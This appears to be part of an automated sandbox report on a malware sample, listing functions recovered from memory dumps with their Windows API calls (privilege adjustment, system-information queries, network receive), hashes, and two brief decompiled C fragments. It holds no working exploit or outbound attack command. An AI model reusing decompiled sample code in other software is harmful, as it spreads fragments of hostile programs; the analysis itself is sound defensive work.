Opcode Fuzzy Hash: 1d57cb0673dcb25fb257a1588292f20f9754be3cee200c97cb3c3cd95b15c89e
Instruction Fuzzy Hash: 24715C34A00609CFDB14DFB4D5897AEBBF6AF88305F14C928E406AB355DB38AD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AF83, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 00C0B003

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: a77b3f322a9186b0d7f72b81ff8c964fee4b3101574cd377e11e23dc9033ea34
Instruction ID: 050b09182726714cd551d321c9fd9b5f028e5388d67cd9d516da18ab0dfd4038
Opcode Fuzzy Hash: a77b3f322a9186b0d7f72b81ff8c964fee4b3101574cd377e11e23dc9033ea34
Instruction Fuzzy Hash: 732191B55097849FDB22CF25DC44B52BFB4EF16310F0885DAE9858B1A3D375D908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B105, Relevance: 1.6, APIs: 1, Instructions: 57nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 00C0B171

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 87dba319539c71b0ca7d9212159e251863d58eb4ac6ec164fc4b830fafcd793d
Instruction ID: 0ee121229adb014f6bab3512b9de1db1b85722608f112e222e215ac13c797823
Opcode Fuzzy Hash: 87dba319539c71b0ca7d9212159e251863d58eb4ac6ec164fc4b830fafcd793d
Instruction Fuzzy Hash: 8C1190724097C09FDB22CF14DC45A52FFB4EF16324F0984DAE9884F163D265A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AFBA, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 00C0B003

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: a16de487040ca6aa1c70aeaaddb42caa8341443f9097a647e62beba5246069b2
Instruction ID: ee5767172d1fcc6e8ccd061360532799a68bf5c0b5d987e88b4bc344b8d3d73f
Opcode Fuzzy Hash: a16de487040ca6aa1c70aeaaddb42caa8341443f9097a647e62beba5246069b2
Instruction Fuzzy Hash: 4411A0715003409FDB21CF55D984B52FBE4EF04320F08C5AAED4A8B652D375E948DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B982, Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 00C0B9BD

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 1966933af54b46110eab56216cb58051b6b907d45adcdbed3da173ed075250d3
Instruction ID: ba2baf0fbde9352665fcb2cdd18f81bf598cc00939b595df86e90fd57d06a39f
Opcode Fuzzy Hash: 1966933af54b46110eab56216cb58051b6b907d45adcdbed3da173ed075250d3
Instruction Fuzzy Hash: F101BC318043409FDB21CF56D988B66FFA0EF44321F08C5AADE898B252D375A808CF72

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B136, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 00C0B171

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 37060334e81f2d05be2a97ef10a33af4535027b28c6ff311d67b6a2894bc46b1
Instruction ID: 233b98ad068a394fcc46b4ad6df0bc32b7fad7657da9163e100a6d49b545754f
Opcode Fuzzy Hash: 37060334e81f2d05be2a97ef10a33af4535027b28c6ff311d67b6a2894bc46b1
Instruction Fuzzy Hash: A6018B318046849FDB21CF45D989B66FFA0FF08321F08C59ADE894B652D375A818DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1D, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401E1D() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00401E29); // executed
				return _t1;
			}

0x00401e22
0x00401e28

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00001E29,00401716), ref: 00401E22

Memory Dump Source

Source File: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f10ce909f55bf21439a7486d1ee2c3bdf37a7dd0004178b465455f206acc9e88
Instruction ID: 98c1414349b9c6d47e2858da2eafac41ced4a749a9169aad70cadcfed52b35c5
Opcode Fuzzy Hash: f10ce909f55bf21439a7486d1ee2c3bdf37a7dd0004178b465455f206acc9e88
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 05447027, Relevance: 1.5, Instructions: 1501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ef776676cd680e26de7e5b8d2a35a9141713821aec3275a2d05cd650eea0a0
Instruction ID: eef91f84154ae99c0980435230c95e91d418ef92baf027293a3cda26714c1d9f
Opcode Fuzzy Hash: b5ef776676cd680e26de7e5b8d2a35a9141713821aec3275a2d05cd650eea0a0
Instruction Fuzzy Hash: 97828430B402448FEB24CB28C484BAE77E2FF86714F2545AAE545DF792C775E8478B52

Uniqueness

Uniqueness Score: -1.00%

Function 049D4530, Relevance: 4.3, APIs: 2, Instructions: 1251libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: a4853674318ba1da7f777a511c6ce55152195dd887a87e277483e206c156344d
Instruction ID: 1739fff2ff127378ab585084456416649c123ade797938b7e45bc98006b94dff
Opcode Fuzzy Hash: a4853674318ba1da7f777a511c6ce55152195dd887a87e277483e206c156344d
Instruction Fuzzy Hash: 27D2CA74A016698FCB64DF64DC44BAEBBB6BF49301F5081E6D809A7360DB359E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4560, Relevance: 3.7, APIs: 2, Instructions: 696libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: a8ad23f94b6603f45242bbb2613db36bc2aca5a6f717063047ef3731774a122c
Instruction ID: 3028aae11445d2180cd70a646a23cc327ce3187134ab5400ecf451d531e70b5b
Opcode Fuzzy Hash: a8ad23f94b6603f45242bbb2613db36bc2aca5a6f717063047ef3731774a122c
Instruction Fuzzy Hash: 5C72B474A016698FCB64DF24DC44BAEBBB5FF4A211F5081E6E809A3310DB356E81DF15

Uniqueness

Uniqueness Score: -1.00%

Function 049D45B4, Relevance: 3.7, APIs: 2, Instructions: 686libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 18f54e80cae460ce8f13a878826a8847165bfec4269c0a19482cf39b05822acc
Instruction ID: da87ce808790ee5053e5af3196f8dfe7efbc252c671da2285713553571a902be
Opcode Fuzzy Hash: 18f54e80cae460ce8f13a878826a8847165bfec4269c0a19482cf39b05822acc
Instruction Fuzzy Hash: 1C72B574A016698FCB64DF24DC44BAEBBB5FF4A211F5081E6E809A3310DB356E81DF15

Uniqueness

Uniqueness Score: -1.00%

Function 049D4608, Relevance: 3.7, APIs: 2, Instructions: 674libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 9c1361876054fc76ab9b3fb5759efddcaa55621c3ca390964cc1ad612a3ddd13
Instruction ID: 01e87050dfc46a9e4beda6bb66574983881bd98df6c262e97316083c46063647
Opcode Fuzzy Hash: 9c1361876054fc76ab9b3fb5759efddcaa55621c3ca390964cc1ad612a3ddd13
Instruction Fuzzy Hash: E472C574A016698FCB64DF24DC44BAEBBB6FF49211F5081E6E909A3310DB356E81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4653, Relevance: 3.7, APIs: 2, Instructions: 666libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 90cf1ec875183aba32a321991899f98c1bf01a7871a876d40e66c0aa90a53f0e
Instruction ID: 6153afa90b5395cf684ea779373e31934481869aeb80783339e87a8eb48ba491
Opcode Fuzzy Hash: 90cf1ec875183aba32a321991899f98c1bf01a7871a876d40e66c0aa90a53f0e
Instruction Fuzzy Hash: A472C474A016698FCB64DF24DC44BAEBBB6FF49211F5081E6E909A3310DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D46A7, Relevance: 3.7, APIs: 2, Instructions: 656libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: e49cedb3440b857087811169fb16f54b1d52c76afd23af853982cdaa5f4c6540
Instruction ID: 0918faab8a3df43a3e41b43c2d3451f097b244a7d2ae45a659a7edb5d57c86ca
Opcode Fuzzy Hash: e49cedb3440b857087811169fb16f54b1d52c76afd23af853982cdaa5f4c6540
Instruction Fuzzy Hash: EE72C474A016698FCB64DF24DC48BADBBB6FF49211F5081E6E809A3310DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D46FB, Relevance: 3.6, APIs: 2, Instructions: 646libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 56ae776282e9d33c9cb35f7294ca9789d247a35403c377700a0184c79e4a2d35
Instruction ID: de1135fabeac29937185a9c9c6447e377b790a7a887eecb159091e118c1c5150
Opcode Fuzzy Hash: 56ae776282e9d33c9cb35f7294ca9789d247a35403c377700a0184c79e4a2d35
Instruction Fuzzy Hash: 4F62C474A016698FCB64DF24DC48BADBBB6FF49211F5081E6E809A3310DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D474F, Relevance: 3.6, APIs: 2, Instructions: 636libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 4f3cb120841af8db042f559227b2090c26f2f6213e7a97c91228307316e9e749
Instruction ID: 934f07340444cfbe5dc13a52f37b8205a871e20d2e12f5ebe372d8dc5feca595
Opcode Fuzzy Hash: 4f3cb120841af8db042f559227b2090c26f2f6213e7a97c91228307316e9e749
Instruction Fuzzy Hash: 6962B474A016698FCB64DF24DC48BADBBB6FF49211F5081E6E809A3350DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D47A3, Relevance: 3.6, APIs: 2, Instructions: 626libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: aa3af086f200579484b0c5237c705075254f5f83756424ae569f829301b8acc6
Instruction ID: 8b191d3e74a0974ccd4f92bab3992a98e87c94f4c2a389e66dc8129d7ee5ccdb
Opcode Fuzzy Hash: aa3af086f200579484b0c5237c705075254f5f83756424ae569f829301b8acc6
Instruction Fuzzy Hash: EE62B474A016698FCB64DF24DC48BADBBB6FF49211F5081E6E809A3350DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D47F7, Relevance: 3.6, APIs: 2, Instructions: 616libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: a3b0c5a44e1407d86f7804f8e25276898c2d87895bfba4f619eefa8c2fd56fc5
Instruction ID: 8a02780e9c3a0a59cf877fb8e76b6e5f9d2a15179f1120ffe5301d4e2e865484
Opcode Fuzzy Hash: a3b0c5a44e1407d86f7804f8e25276898c2d87895bfba4f619eefa8c2fd56fc5
Instruction Fuzzy Hash: 0A62B474A016698FCB64DF24DC48BADBBB6BF49211F5081E6E809A3350DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D484B, Relevance: 3.6, APIs: 2, Instructions: 606libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 44ce89b6a501ac45ffb61ee3a14a2663d711bfda960ee47f262d17961325d310
Instruction ID: 22a1a4109406acaa651286d97932eb914dd944a4dc6e290e519c857c05940350
Opcode Fuzzy Hash: 44ce89b6a501ac45ffb61ee3a14a2663d711bfda960ee47f262d17961325d310
Instruction Fuzzy Hash: 1E62B474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E809A3350DB35AE81DF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D489F, Relevance: 3.6, APIs: 2, Instructions: 596libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 532df9ca08405dd8a9747646457d25f852be782a60aedb6f867e68b26bb2c488
Instruction ID: 044418d1a598904c291893744f2bf962171488412ea51c1f27190266c4ca5d52
Opcode Fuzzy Hash: 532df9ca08405dd8a9747646457d25f852be782a60aedb6f867e68b26bb2c488
Instruction Fuzzy Hash: D262B474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 05420F8D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32 ref: 05421036

Strings

xaqT, xrefs: 05420FC1

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ClassInfo
String ID: xaqT
API String ID: 3534257612-2633509666
Opcode ID: 14d8408683d2760b9f1ec83238746226668857e127ccc762a6f940edc43b9f81
Instruction ID: 6116e36abceb7e581dcecbb1cbfed37f9359b2114e1e5781885e70b3e617a39c
Opcode Fuzzy Hash: 14d8408683d2760b9f1ec83238746226668857e127ccc762a6f940edc43b9f81
Instruction Fuzzy Hash: F2313A6550E3C09FD7138B21DC60A52BFB4AF07210B0E81DBD885CF6A3D6699848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 049D48F3, Relevance: 3.6, APIs: 2, Instructions: 586libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 85aad02cd7fb2a762606405f819fe9770408a1d4ef80a0d8a40c316318e4046e
Instruction ID: 00c232cda5f7b00a8b0f78325f6f312eb212cf89737a13d289f1977aa80300e2
Opcode Fuzzy Hash: 85aad02cd7fb2a762606405f819fe9770408a1d4ef80a0d8a40c316318e4046e
Instruction Fuzzy Hash: CC52C474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4947, Relevance: 3.6, APIs: 2, Instructions: 576libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 0457257410b45dc5ad4a0247b05a963b5cfa6227c10e8b87287e01911315b31e
Instruction ID: 68de90b015f79010ec3311b09fadec7be27afba61773a2654960f65ba160fe39
Opcode Fuzzy Hash: 0457257410b45dc5ad4a0247b05a963b5cfa6227c10e8b87287e01911315b31e
Instruction Fuzzy Hash: 9B52B474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D499B, Relevance: 3.6, APIs: 2, Instructions: 566libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 1b63986129334f9700773e0406d9fdbc91a39c58bce244964103b305d9c80201
Instruction ID: f56a0bfac5704889813ec1b6d0de94945482271e25d0d1cb5561db605b4145e7
Opcode Fuzzy Hash: 1b63986129334f9700773e0406d9fdbc91a39c58bce244964103b305d9c80201
Instruction Fuzzy Hash: 2852B474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D49EF, Relevance: 3.6, APIs: 2, Instructions: 556libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 2b72bbcdac5152611ef9d24ce34d7c66695cef9807f37c0364fc8f93e7ae030c
Instruction ID: 9f0df979d61a9b948ba0fad8e8f38adc86b65cf902533483b244e506cab02b45
Opcode Fuzzy Hash: 2b72bbcdac5152611ef9d24ce34d7c66695cef9807f37c0364fc8f93e7ae030c
Instruction Fuzzy Hash: F552B474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4A43, Relevance: 3.5, APIs: 2, Instructions: 544libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 62e087171616e98a90a09d1ad7798805db0d73482b66ca51b69170f3c4be11cd
Instruction ID: 51e17f827be759c68ec0e2c96cc33b4061d9b6e31a7c12f2f6165c8c4ea7bdc4
Opcode Fuzzy Hash: 62e087171616e98a90a09d1ad7798805db0d73482b66ca51b69170f3c4be11cd
Instruction Fuzzy Hash: 0842C474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4A8E, Relevance: 3.5, APIs: 2, Instructions: 536libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 049D4AB2
LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 46461baed534d9980e14d69fd72a6b308dab77a892b5fbfbcbd9bd52fdf2450e
Instruction ID: a9d55ca212afce6d1e08ed04591b78a35fe83b916008f3815457af52d1e16963
Opcode Fuzzy Hash: 46461baed534d9980e14d69fd72a6b308dab77a892b5fbfbcbd9bd52fdf2450e
Instruction Fuzzy Hash: 1442C474A016698FCB64DF24DC48BADBBB6BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 004055C5, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004055C5(void* __ecx) {
				void* _t6;
				void* _t14;
				void* _t18;
				WCHAR* _t19;

				_t14 = __ecx;
				_t19 = GetEnvironmentStringsW();
				if(_t19 != 0) {
					_t12 = (E0040558E(_t19) - _t19 >> 1) + (E0040558E(_t19) - _t19 >> 1);
					_t6 = E00403E3D(_t14, (E0040558E(_t19) - _t19 >> 1) + (E0040558E(_t19) - _t19 >> 1)); // executed
					_t18 = _t6;
					if(_t18 != 0) {
						E0040ACF0(_t18, _t19, _t12);
					}
					E00403E03(0);
					FreeEnvironmentStringsW(_t19);
				} else {
					_t18 = 0;
				}
				return _t18;
			}

0x004055c5
0x004055cf
0x004055d3
0x004055e4
0x004055e8
0x004055ed
0x004055f3
0x004055f8
0x004055fd
0x00405602
0x00405609
0x004055d5
0x004055d5
0x004055d5
0x00405614

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004055C9
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00405609

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 8cd0ade3987da643afe372fdbc3b04457b893c98baeb1de225cc927f8a7ffae8
Instruction ID: c5c85d496f4b9afafe33008ffa5735024e7f647e2ae8fec8aafe46d04be69a25
Opcode Fuzzy Hash: 8cd0ade3987da643afe372fdbc3b04457b893c98baeb1de225cc927f8a7ffae8
Instruction Fuzzy Hash: E7E0E5371049206BD22127267C8AA6B2A1DCFC17B5765063BF809B61C2AE3D8E0208FD

Uniqueness

Uniqueness Score: -1.00%

Function 05440070, Relevance: 2.7, Strings: 2, Instructions: 203COMMON

Download Yara Rule

Strings

$%q, xrefs: 054401A5
,#q, xrefs: 05440268

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID: $%q$,#q
API String ID: 0-357174802
Opcode ID: 855ca274229ddf4b750201f72d362b10de57522c9da600b08b9ec961d53cdd8f
Instruction ID: 60de584707013396bca6e62d9d56528173badb6bd72cc4f8472ab64632491820
Opcode Fuzzy Hash: 855ca274229ddf4b750201f72d362b10de57522c9da600b08b9ec961d53cdd8f
Instruction Fuzzy Hash: DE718570F401198BEB549BB9C8197AEBAB7BF88311F24806AD10AEB3D1DE344C419F91

Uniqueness

Uniqueness Score: -1.00%

Function 049D4AE2, Relevance: 2.0, APIs: 1, Instructions: 526libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38ce541d6d5e7898686b6c3af553f8591d8f05a8fe33490d92da9a5fbd8121c6
Instruction ID: e8a09f3b1feedaa70a527407e0825ebc8e0cc129917de0521bac89a1227f4952
Opcode Fuzzy Hash: 38ce541d6d5e7898686b6c3af553f8591d8f05a8fe33490d92da9a5fbd8121c6
Instruction Fuzzy Hash: 9C42C474A016698FCB64DF24DC48BADBBB2BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4B36, Relevance: 2.0, APIs: 1, Instructions: 516libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9277d93d7ddbece9eac925f8291d0ebf1624c4c673768d6202b2de3d5726a3c1
Instruction ID: aaa56b2555b50c195ceff024206119537089918113d5501197de907391112348
Opcode Fuzzy Hash: 9277d93d7ddbece9eac925f8291d0ebf1624c4c673768d6202b2de3d5726a3c1
Instruction Fuzzy Hash: B542C474A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3310DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4B8A, Relevance: 2.0, APIs: 1, Instructions: 504libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0f8578ecc202db50b6466d87f7f1bd65ec67e3655d5ce7ca02af9a5205675bf7
Instruction ID: 3183b6a1b9972fdd6e41274e929609c6ac7b9bc98500316bfc3df5f8ec249483
Opcode Fuzzy Hash: 0f8578ecc202db50b6466d87f7f1bd65ec67e3655d5ce7ca02af9a5205675bf7
Instruction Fuzzy Hash: D642C474A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4BD5, Relevance: 2.0, APIs: 1, Instructions: 496libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af923227d8707170a159f8a2516c9909e9f4215d2b642b6cde36badfa76531d4
Instruction ID: 314ba3df2c523a1302dee75447397bfa4ff7869fe8f6e93f823da07a55a71b1d
Opcode Fuzzy Hash: af923227d8707170a159f8a2516c9909e9f4215d2b642b6cde36badfa76531d4
Instruction Fuzzy Hash: BA32C574A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4C29, Relevance: 2.0, APIs: 1, Instructions: 486libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
